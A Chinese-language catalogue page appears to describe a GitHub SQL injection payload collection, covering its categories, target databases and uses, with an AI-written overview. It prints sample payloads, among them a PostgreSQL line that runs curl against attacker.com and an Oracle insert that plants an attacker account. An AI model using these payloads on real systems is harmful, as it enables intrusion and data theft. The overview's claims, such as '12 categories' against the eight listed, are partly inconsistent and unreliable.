SQL Injection Payloads|网络安全数据集|SQL注入数据集

这是一个为安全研究人员、渗透测试人员和漏洞赏金猎人设计的SQL注入载荷综合集合。该仓库旨在提供各种SQL注入技术的大量载荷，以帮助有效识别和利用漏洞。

原始信息汇总

SQL Injection Payloads 数据集概述

数据集简介

• 名称: SQL Injection Payloads
• 用途: 为安全研究人员、渗透测试人员和漏洞赏金猎人提供的SQL注入攻击载荷集合
• 目标: 帮助识别和有效利用SQL注入漏洞

主要分类

1. 错误型SQL注入 (Error-Based SQLi)
   • MySQL、MSSQL、PostgreSQL、Oracle数据库的特定载荷
2. 联合查询型SQL注入 (Union-Based SQLi)
   • 支持多数据库联合查询攻击载荷
3. 布尔盲注 (Boolean-Based Blind SQLi)
   • 包含200+布尔逻辑判断载荷
4. 时间盲注 (Time-Based Blind SQLi)
   • 基于时间延迟的检测载荷
5. 带外数据(OOB)注入 (Out-of-Band SQLi)
   • 支持DNS/HTTP等带外通道的载荷
6. 存储过程注入 (Stored Procedure SQLi)
   • 针对数据库存储过程的攻击载荷
7. 二阶注入 (Second-Order SQLi)
   • 延迟触发的注入载荷
8. 堆叠查询注入 (Stacked Queries SQLi)
   • 支持多语句执行的载荷

数据库支持

• MySQL
• Microsoft SQL Server (MSSQL)
• PostgreSQL
• Oracle Database

技术特点

• 包含WAF绕过技术
• 支持DNS数据外泄
• 混合型注入载荷
• 注释型注入技术

典型载荷示例

sql /* MySQL错误型注入 */ AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE())))#

/* MSSQL时间盲注 */ ; WAITFOR DELAY 0:0:5 --

/* PostgreSQL带外注入 */ ; COPY (SELECT OOB Test) TO PROGRAM curl http://attacker.com/payload --

/* Oracle二阶注入 */ ; INSERT INTO sys.users (username, password) VALUES (attacker, 1234) --

适用场景

• Web应用安全测试
• 数据库漏洞评估
• 防御机制绕过研究
• 安全工具开发测试

AI搜集汇总

数据集介绍

构建方式

在网络安全领域，SQL注入攻击一直是数据库安全的主要威胁之一。SQL Injection Payloads数据集通过系统化收集和分类各类SQL注入攻击的有效载荷构建而成，涵盖了多种数据库类型（如MySQL、MSSQL、PostgreSQL和Oracle）和攻击技术（如错误型注入、联合查询注入、布尔盲注等）。数据来源包括公开漏洞报告、安全研究文献以及渗透测试实践中的已验证载荷，确保每条数据的实战性和技术代表性。数据集采用模块化结构，按攻击技术和数据库版本进行分层标注，便于研究者快速定位所需内容。

特点

该数据集最显著的特点是具备多维度技术覆盖性，不仅包含基础注入语句，还收录了WAF绕过、DNS外带等高级攻击技术。所有载荷均标注了适用的数据库版本和攻击场景，部分条目附有技术原理说明。数据集采用标准化语法规范，支持跨平台使用，且定期更新以应对新型防御机制。针对不同技术水平的用户，提供从基础到进阶的分级内容，既适合作为渗透测试工具库，也可用于机器学习模型训练以构建智能检测系统。

使用方法

使用者可通过GitHub仓库直接下载数据集文件，按需调用特定类型的注入载荷。建议结合SQL注入漏洞环境进行验证性测试，或集成到安全工具中作为检测规则库。研究人员可利用该数据集进行攻击模式分析，开发基于特征匹配或机器学习的检测算法。实际应用中需注意法律合规性，仅限于授权测试场景使用。数据集采用文本格式存储，支持主流安全工具导入，每条载荷附有技术分类标签，可通过脚本实现自动化筛选和组合攻击。

背景与挑战

背景概述

SQL Injection Payloads数据集由网络安全研究者YogSec团队于近年构建，旨在为安全研究人员、渗透测试人员和漏洞赏金猎人提供全面的SQL注入攻击载荷库。该数据集汇集了多种数据库系统（包括MySQL、MSSQL、PostgreSQL和Oracle）的注入技术，涵盖错误型、联合查询型、布尔盲注型等12类攻击范式。其核心研究问题聚焦于如何系统化归类不断演进的SQL注入技术，为Web应用安全防御提供逆向研究样本。该资源已成为OWASP Top 10中注入类漏洞研究的重要参考，推动了自动化漏洞检测工具的发展。

当前挑战

该数据集面临双重技术挑战：在领域问题层面，需持续应对新型WAF（Web应用防火墙）的检测规避需求，以及NoSQL等非关系型数据库注入技术的扩展；在构建过程中，存在多数据库语法差异导致的载荷兼容性问题，如Oracle的DUAL表特殊语法与MySQL的注释符号差异。此外，保持攻击载荷的时效性需实时跟踪CVE漏洞公告，而法律边界问题要求严格区分研究用途与实际攻击的伦理界限。

常用场景

经典使用场景

在网络安全领域，SQL注入攻击是最常见的Web应用威胁之一。SQL Injection Payloads数据集为安全研究人员和渗透测试人员提供了一个全面的恶意SQL语句集合，涵盖错误型、联合查询型、布尔盲注型等多种攻击技术。该数据集最经典的使用场景是作为安全测试的基准工具，帮助专业人员模拟真实攻击以评估系统防御能力。通过系统性地注入这些预定义的恶意负载，可以精确检测数据库层存在的漏洞点。

实际应用

在实际安全运维中，该数据集被广泛应用于渗透测试、漏洞扫描工具验证和WAF规则优化等场景。安全团队利用这些标准化负载对Web应用进行主动检测，识别潜在注入点；云服务商将其集成到自动化扫描系统中，持续监控客户系统的安全状态；教育机构则作为网络安全课程的实践素材，通过模拟攻击演示数据库防护的重要性。其结构化分类方式特别适合与企业安全开发生命周期(SDLC)相结合。

衍生相关工作

基于该数据集衍生的经典工作包括开源漏洞扫描器SQLmap的规则库优化、OWASP ZAP的注入检测模块增强等。学术界则产生了多篇顶会论文，如《基于深度学习的SQL注入行为模式分析》利用该数据集训练神经网络模型，《多维特征融合的盲注检测方法》则通过时间延迟负载验证检测效率。工业界参考其分类体系建立了SQLi攻击知识图谱，推动了威胁情报共享标准的制定。